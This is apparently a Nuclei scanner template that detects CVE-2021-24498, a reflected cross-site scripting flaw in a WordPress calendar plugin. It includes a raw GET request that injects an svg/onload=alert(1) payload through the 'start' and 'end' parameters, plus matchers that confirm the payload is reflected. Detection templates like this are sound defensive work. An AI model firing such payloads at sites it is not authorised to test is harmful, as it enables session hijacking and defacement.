id: CVE-2021-24498

info:
  name: WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24498
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24498
    cwe-id: CWE-79
    epss-score: 0.03536
    epss-percentile: 0.881
    cpe: cpe:2.3:a:dwbooster:calendar_event_multi_view:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: dwbooster
    product: calendar_event_multi_view
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wp-plugin,wpscan,dwbooster,vkev,vuln

http:
  - raw:
      - |
        GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(1)><'
          - 'Calendar Details'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e950a0795ac7d1aaba30f3478fea1d76ed5ecf5bac80063a37e39687d4fc77e1022100b0b52085e40cbd88454be2e6ef0d759bdca4ec4575f4a5edf97ca3195b3ee1d4:922c64590222798bb761d5b6d8e72950